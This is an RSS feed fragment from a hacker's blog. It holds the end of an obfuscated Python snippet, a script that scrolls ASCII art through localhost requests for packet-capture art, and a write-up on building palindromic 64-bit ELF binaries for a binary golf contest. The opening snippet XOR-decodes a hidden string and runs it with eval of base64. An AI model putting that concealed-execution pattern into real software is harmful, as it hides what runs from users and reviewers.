&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">x&lt;/span>&lt;span class="o">+=&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="se">\x0d\x27\x0e\x1f\x79\x3c\x35\x7c&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">x&lt;/span>&lt;span class="o">+=&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="se">\x36\x20\x27\x1c\x2f\x35\x07\x1f&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">x&lt;/span>&lt;span class="o">+=&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="se">\x37\x2d\x2b&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span> &lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="se">\x1a\x05\x2b&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">x&lt;/span>&lt;span class="o">+=&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="se">\x01\x29&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span> &lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="se">\x34\x78&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span> &lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="se">\x01\x2d&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">x&lt;/span>&lt;span class="o">+=&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="se">\x2b&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span> &lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="se">\x31\x29\x00\x2f&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span> &lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="se">\x25&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">x&lt;/span>&lt;span class="o">+=&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="se">\x1d\x04\x2b\x7c\x1a\x23\x2a\x78&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">x&lt;/span>&lt;span class="o">+=&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="se">\x0a\x25\x0b\x2f\x29\x0b\x0e\x7f&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">x&lt;/span>&lt;span class="o">+=&lt;/span> &lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="se">\x1b\x25&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">x&lt;/span>&lt;span class="o">+=&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="se">\x2f\x05&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">h&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;HELLOWORLD&amp;#39;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">k&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="p">(((&lt;/span>&lt;span class="n">h&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="s1">&amp;#39;u&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">);&lt;/span>&lt;span class="n">t&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">x&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">t&lt;/span>&lt;span class="o">+=&lt;/span>&lt;span class="nb">chr&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">ord&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">^&lt;/span>&lt;span class="nb">ord&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">k&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">t&lt;/span>&lt;span class="p">)]))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">eval&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">base64&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">b64decode&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">t&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div></description></item><item><title>pcapscroller.py</title><link>https://n0.lol/notes/pcapscroller/</link><pubDate>Sun, 20 Sep 2020 12:00:00 -0400</pubDate><guid>https://n0.lol/notes/pcapscroller/</guid><description>&lt;p>Code:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 2020-09-20&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Used to generate this &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">time&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">urllib.request&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">l0&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;8b........d8...............................................................................................................88..88....................................................................................................88.....................................................................................88..88.................................................................................................................................88..88..................................................................................................................................88......................................................................................&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">l1&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;.Y8,....,8P................................................................................................................88..&amp;#34;&amp;#34;....................................................................................................88.....................................................................................88..&amp;#34;&amp;#34;.................................................................................................................................&amp;#34;&amp;#34;..88...............................................................................................................,d..........,d.....88......................................................................................&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">l2&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;..Y8,..,8P.................................................................................................................88........................................................................................................88.....................................................................................88.........................................................................................................................................88...............................................................................................................88..........88.....88......................................................................................&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">l3&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;...&amp;#34;8aa8&amp;#34;..,adPPYba,...88.......88.....,adPPYYba,..8b,dPPYba,...,adPPYba,.....8b,dPPYba,...,adPPYba,..,adPPYYba,...,adPPYb,88..88..8b,dPPYba,....,adPPYb,d8.....8b,dPPYba,....,adPPYba,..,adPPYYba,..8b,dPPYba,...,adPPYba,..........88.....,adPPYYba,..88,dPYba,,adPYba,......8b,dPPYba,...,adPPYba,..,adPPYYba,...,adPPYb,88..88..8b,dPPYba,....,adPPYb,d8.....8b.......d8...,adPPYba,...88.......88..8b,dPPYba,......,adPPYba,..88,dPYba,,adPYba,...,adPPYYba,..88..88..........8b......db......d8...,adPPYba,.....,adPPYYba,..8b,dPPYba,...,adPPYba,.....8b,dPPYba,....,adPPYba,..MM88MMM.....MM88MMM..88,dPPYba,....,adPPYba,.....,adPPYba,..,adPPYYba,..88,dPYba,,adPYba,....,adPPYba,.......&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">l4&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;....`88&amp;#34;..a8&amp;#34;.....&amp;#34;8a..88.......88.....&amp;#34;&amp;#34;.....`Y8..88P&amp;#34;...&amp;#34;Y8..a8P,,,,,88.....88P&amp;#34;...&amp;#34;Y8..a8P,,,,,88..&amp;#34;&amp;#34;.....`Y8..a8&amp;#34;....`Y88..88..88P&amp;#34;...`&amp;#34;8a..a8&amp;#34;....`Y88.....88P&amp;#34;....&amp;#34;8a..a8&amp;#34;.....&amp;#34;&amp;#34;..&amp;#34;&amp;#34;.....`Y8..88P&amp;#34;....&amp;#34;8a..I8[....&amp;#34;&amp;#34;..........88.....&amp;#34;&amp;#34;.....`Y8..88P&amp;#34;...&amp;#34;88&amp;#34;....&amp;#34;8a.....88P&amp;#34;...&amp;#34;Y8..a8P,,,,,88..&amp;#34;&amp;#34;.....`Y8..a8&amp;#34;....`Y88..88..88P&amp;#34;...`&amp;#34;8a..a8&amp;#34;....`Y88.....`8b.....d8&amp;#34;..a8&amp;#34;.....&amp;#34;8a..88.......88..88P&amp;#34;...&amp;#34;Y8.....a8P,,,,,88..88P&amp;#34;...&amp;#34;88&amp;#34;....&amp;#34;8a..&amp;#34;&amp;#34;.....`Y8..88..88..........`8b....d88b....d8&amp;#34;..a8P,,,,,88.....&amp;#34;&amp;#34;.....`Y8..88P&amp;#34;...&amp;#34;Y8..a8P,,,,,88.....88P&amp;#34;...`&amp;#34;8a..a8&amp;#34;.....&amp;#34;8a...88..........88.....88P&amp;#34;....&amp;#34;8a..a8P,,,,,88.....I8[....&amp;#34;&amp;#34;..&amp;#34;&amp;#34;.....`Y8..88P&amp;#34;...&amp;#34;88&amp;#34;....&amp;#34;8a..a8P,,,,,88.......&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">l5&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;.....88...8b.......d8..88.......88.....,adPPPPP88..88..........8PP&amp;#34;&amp;#34;&amp;#34;&amp;#34;&amp;#34;&amp;#34;&amp;#34;.....88..........8PP&amp;#34;&amp;#34;&amp;#34;&amp;#34;&amp;#34;&amp;#34;&amp;#34;..,adPPPPP88..8b.......88..88..88.......88..8b.......88.....88.......d8..8b..........,adPPPPP88..88.......d8...`&amp;#34;Y8ba,...aaa.....88.....,adPPPPP88..88......88......88.....88..........8PP&amp;#34;&amp;#34;&amp;#34;&amp;#34;&amp;#34;&amp;#34;&amp;#34;..,adPPPPP88..8b.......88..88..88.......88..8b.......88......`8b...d8&amp;#34;...8b.......d8..88.......88..88.............8PP&amp;#34;&amp;#34;&amp;#34;&amp;#34;&amp;#34;&amp;#34;&amp;#34;..88......88......88..,adPPPPP88..88..88..aaa......`8b..d8&amp;#34;`8b..d8&amp;#34;...8PP&amp;#34;&amp;#34;&amp;#34;&amp;#34;&amp;#34;&amp;#34;&amp;#34;.....,adPPPPP88..88..........8PP&amp;#34;&amp;#34;&amp;#34;&amp;#34;&amp;#34;&amp;#34;&amp;#34;.....88.......88..8b.......d8...88..........88.....88.......88..8PP&amp;#34;&amp;#34;&amp;#34;&amp;#34;&amp;#34;&amp;#34;&amp;#34;......`&amp;#34;Y8ba,...,adPPPPP88..88......88......88..8PP&amp;#34;&amp;#34;&amp;#34;&amp;#34;&amp;#34;&amp;#34;&amp;#34;.......&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">l6&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;.....88...&amp;#34;8a,...,a8&amp;#34;..&amp;#34;8a,...,a88.....88,....,88..88..........&amp;#34;8b,...,aa.....88..........&amp;#34;8b,...,aa..88,....,88..&amp;#34;8a,...,d88..88..88.......88..&amp;#34;8a,...,d88.....88b,...,a8&amp;#34;..&amp;#34;8a,...,aa..88,....,88..88b,...,a8&amp;#34;..aa....]8I..&amp;#34;88.....88.....88,....,88..88......88......88.....88..........&amp;#34;8b,...,aa..88,....,88..&amp;#34;8a,...,d88..88..88.......88..&amp;#34;8a,...,d88.......`8b,d8&amp;#34;....&amp;#34;8a,...,a8&amp;#34;..&amp;#34;8a,...,a88..88.............&amp;#34;8b,...,aa..88......88......88..88,....,88..88..88..&amp;#34;88.......`8bd8&amp;#34;..`8bd8&amp;#34;....&amp;#34;8b,...,aa.....88,....,88..88..........&amp;#34;8b,...,aa.....88.......88..&amp;#34;8a,...,a8&amp;#34;...88,.........88,....88.......88..&amp;#34;8b,...,aa.....aa....]8I..88,....,88..88......88......88..&amp;#34;8b,...,aa..888..&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">l7&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;.....88....`&amp;#34;YbbdP&amp;#34;&amp;#34;....`&amp;#34;YbbdP&amp;#34;Y8.....`&amp;#34;8bbdP&amp;#34;Y8..88...........`&amp;#34;Ybbd8&amp;#34;&amp;#34;.....88...........`&amp;#34;Ybbd8&amp;#34;&amp;#34;..`&amp;#34;8bbdP&amp;#34;Y8...`&amp;#34;8bbdP&amp;#34;Y8..88..88.......88...`&amp;#34;YbbdP&amp;#34;Y8.....88`YbbdP&amp;#34;&amp;#34;....`&amp;#34;Ybbd8&amp;#34;&amp;#34;..`&amp;#34;8bbdP&amp;#34;Y8..88`YbbdP&amp;#34;&amp;#34;...`&amp;#34;YbbdP&amp;#34;&amp;#34;..d8&amp;#34;.....88.....`&amp;#34;8bbdP&amp;#34;Y8..88......88......88.....88...........`&amp;#34;Ybbd8&amp;#34;&amp;#34;..`&amp;#34;8bbdP&amp;#34;Y8...`&amp;#34;8bbdP&amp;#34;Y8..88..88.......88...`&amp;#34;YbbdP&amp;#34;Y8.........Y88&amp;#34;......`&amp;#34;YbbdP&amp;#34;&amp;#34;....`&amp;#34;YbbdP&amp;#34;Y8..88..............`&amp;#34;Ybbd8&amp;#34;&amp;#34;..88......88......88..`&amp;#34;8bbdP&amp;#34;Y8..88..88..d8&amp;#34;.........YP......YP.......`&amp;#34;Ybbd8&amp;#34;&amp;#34;.....`&amp;#34;8bbdP&amp;#34;Y8..88...........`&amp;#34;Ybbd8&amp;#34;&amp;#34;.....88.......88...`&amp;#34;YbbdP&amp;#34;&amp;#34;....&amp;#34;Y888.......&amp;#34;Y888..88.......88...`&amp;#34;Ybbd8&amp;#34;&amp;#34;.....`&amp;#34;YbbdP&amp;#34;&amp;#34;..`&amp;#34;8bbdP&amp;#34;Y8..88......88......88...`&amp;#34;Ybbd8&amp;#34;&amp;#34;..888..&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">l8&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;.................................................................................................................................................aa,....,88.....88...................................88.....................8&amp;#34;....................................................................................................................aa,....,88.........d8&amp;#34;..................................................................................................8&amp;#34;.......................................................................................................................................................................................................................&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">l9&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;..................................................................................................................................................&amp;#34;Y8bbdP&amp;#34;......88...................................88............................................................................................................................................&amp;#34;Y8bbdP&amp;#34;.........d8&amp;#34;............................................................................................................................................................................................................................................................................................................................&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">x&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="c1"># The starting point in the scroll&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">y&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">16&lt;/span> &lt;span class="c1"># End of screen&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">url&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;http://127.0.0.1:8080/index.php?page=&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\033&lt;/span>&lt;span class="s2">[2J&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">l0&lt;/span>&lt;span class="p">)):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">o0&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">l0&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">y&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">o1&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">l1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">y&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">o2&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">l2&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">y&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">o3&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">l3&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">y&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">o4&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">l4&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">y&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">o5&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">l5&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">y&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">o6&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">l6&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">y&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">o7&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">l7&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">y&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">o8&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">l8&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">y&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">o9&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">l9&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">y&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">out&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">o0&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">o1&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">o2&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">o3&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">o4&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">o5&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">o6&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">o7&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">o8&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">o9&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">out&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">f&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">urllib&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">request&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">urlopen&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">url&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="n">out&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">x&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">x&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">1&lt;/span> &lt;span class="c1"># Increment start&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">y&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">y&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">1&lt;/span> &lt;span class="c1"># Increment end&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">y&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">l0&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">break&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Youtube Link: &lt;a href="https://www.youtube.com/watch?v=QwSudydjRXc">https://www.youtube.com/watch?v=QwSudydjRXc&lt;/a>&lt;/p>
&lt;p>Original: &lt;a href="https://twitter.com/netspooky/status/1307038708907081728">https://twitter.com/netspooky/status/1307038708907081728&lt;/a>&lt;/p></description></item><item><title>BGGP1 Results Stream</title><link>https://n0.lol/bggp1-results/</link><pubDate>Mon, 31 Aug 2020 12:00:00 -0400</pubDate><guid>https://n0.lol/bggp1-results/</guid><description>&lt;p>&lt;a href="https://www.youtube.com/watch?v=s0TS2kZtcGk">https://www.youtube.com/watch?v=s0TS2kZtcGk&lt;/a>&lt;/p></description></item><item><title>Palindromic 64 bit ELF binaries</title><link>https://n0.lol/elf-palindrome-original/</link><pubDate>Sun, 23 Aug 2020 12:00:00 -0400</pubDate><guid>https://n0.lol/elf-palindrome-original/</guid><description>&lt;p>This is my entry for the first annual &lt;a href="https://binary.golf/1/">Binary Golf Grand Prix&lt;/a>.&lt;/p>
&lt;p>Like all good things, the Binary Golf Grand Prix challenge started life as a
tweet from &lt;a href="https://twitter.com/0xdade/status/1274100140135964672">0xdade&lt;/a>, and further conversation with some fine folks on Matrix.
The goal of this challenge was to create a binary that executed the same
forwards as it did backwards.&lt;/p>
&lt;p>We established some ground rules, and I made the [announcement(https://twitter.com/netspooky/status/1275256864314470402) on Twitter calling
other people to participate. The results of the first BGGP will be posted here
when the challenge officially ends. Watch my &lt;a href="https://twitter.com/netspooky">Twitter&lt;/a> for updates.&lt;/p>
&lt;h2 id="developing-an-approach">Developing An Approach&lt;/h2>
&lt;p>This challenge lends itself towards binary formats without headers, such as COM,
bootloaders, firmware images, and most binary programs for 8 bit computers. It
would make sense due to the short widths of instructions and data, leading to a
smaller number of possible combinations of machine instructions.&lt;/p>
&lt;p>Since I&amp;rsquo;ve done quite a bit of work with &lt;a href="https://www.youtube.com/watch?v=VLmrsfSE-tA">golfing ELF files&lt;/a>, I figured it was
worth a shot to see the feasibility of doing palindromic binaries that will
run on modern systems.&lt;/p>
&lt;p>I began my work with a baseline of a barebones binary golf&amp;rsquo;d 64 bit ELF file
( see &lt;a href="https://n0.lol/ebm/2/">ELF Binary Mangling 2&lt;/a> ), for the foundation of this binary. The first task
was to flip the entirety of the data structures and code backwards, so that I
could still use nasm to build the binary.&lt;/p>
&lt;p>The original idea I had involved &lt;a href="http://phrack.org/issues/57/15.html">alphanumeric shellcode&lt;/a>, to use and spell out a
palindromic sentence, such as this from Scottish poet Alastair Reid:&lt;/p>
&lt;blockquote>
&lt;p>T. Eliot, top bard, notes putrid tang emanating, is sad;
I&amp;rsquo;d assign it a name: gnat dirt upset on drab pot toilet.&lt;/p>
&lt;/blockquote>
&lt;p>Palindromes rely on the ambiguity of punctuation to work in a majority of cases,
so something shorter would be needed, and preferably in all lowercase or upper
case. I had decided to go with the phrase &amp;ldquo;PULLUP IF I PULLUP&amp;rdquo;, because it made
more sense when presented as a string without punctuation.&lt;/p>
&lt;p>The next problem quickly arose: the alphanumeric shellcode article was written
in 2001. These techniques work for 32 bit instructions, but a lot of encoding
was changed in 64 bit x86. This means we need to determine what still works, if
anything.&lt;/p>
&lt;p>Testing led me to understand that only letters P-Z are the only viable single
byte instructions in the A-Z space. This means that I actually can&amp;rsquo;t do the
original phrase &amp;ldquo;PULLUPIFIPULLUP&amp;rdquo; due to letters appearing outside this range.&lt;/p>
&lt;pre tabindex="0">&lt;code>50 push rax ; &amp;#39;P&amp;#39;
51 push rcx ; &amp;#39;Q&amp;#39;
52 push rdx ; &amp;#39;R&amp;#39;
53 push rbx ; &amp;#39;S&amp;#39;
54 push rsp ; &amp;#39;T&amp;#39;
55 push rbp ; &amp;#39;U&amp;#39;
56 push rsi ; &amp;#39;V&amp;#39;
57 push rdi ; &amp;#39;W&amp;#39;
58 pop rax ; &amp;#39;X&amp;#39;
59 pop rcx ; &amp;#39;Y&amp;#39;
5a pop rdx ; &amp;#39;Z&amp;#39;
&lt;/code>&lt;/pre>&lt;p>Luckily, there are vowel sounds that can be used to find some words. An online
Scrabble word finder came in handy to generate some possible words for this. The
palindromic phrase I decided to go with used only letters in our established
range. I ended up with &amp;ldquo;PUPPY SPY, PSY P. PUP&amp;rdquo;, mainly because it&amp;rsquo;s absurd, but
also it could be expressed with just the letters in the P-Z range.&lt;/p>
&lt;p>The nice thing about these particular instructions is that they are really only
just push &amp;amp; pop instructions, so you don&amp;rsquo;t have to worry too much about messing
up data that might be in these registers, and just have to track where values
might end up if I used them at all.&lt;/p>
&lt;p>Now that we have all of this established, let&amp;rsquo;s start thinking in mirror mode.&lt;/p>
&lt;h2 id="mirroring">Mirroring&lt;/h2>
&lt;p>The template binary only really executes 7 bytes:&lt;/p>
&lt;pre tabindex="0">&lt;code>0: b0 3c mov al,0x3c
2: 48 31 ff xor rdi,rdi
5: 0f 05 syscall
&lt;/code>&lt;/pre>&lt;p>What happens when if you flip these bytes backwards? Quite shockingly, this:&lt;/p>
&lt;pre tabindex="0">&lt;code>0: 05 0f ff 31 48 add eax,0x4831ff0f
5: 3c b0 cmp al,0xb0
&lt;/code>&lt;/pre>&lt;p>There are several disassemblers that might interpret data differently, so when
using nasm, it&amp;rsquo;s helpful to confirm that these instructions actually assemble
the way you expect them to. Lucky for us, this works just fine.&lt;/p>
&lt;p>Padding the header (and various other places) with nops is helpful when you are
measuring the space available when constructing a binary like this. The code
began at offset 0x04, so padding with 5 nops filled the rest of the header.&lt;/p>
&lt;p>The next thing to plan out was the jumps.&lt;/p>
&lt;p>I figured that jmp instructions could be accounted for in one of two ways:&lt;/p>
&lt;ul>
&lt;li>A pairing of jmp&amp;rsquo;s that jmp over each other, or&lt;/li>
&lt;li>jmps that executed as code when percieved backwards.&lt;/li>
&lt;/ul>
&lt;p>I wrote a small script to generate all of the possible opcode combinations for
short jumps and what they disassemble to when interpreted backwards. Even though
it&amp;rsquo;s only two bytes, there are a lot of incompatible instructions, such as
references to EBP and other registers that aren&amp;rsquo;t easily referenceable in x64.&lt;/p>
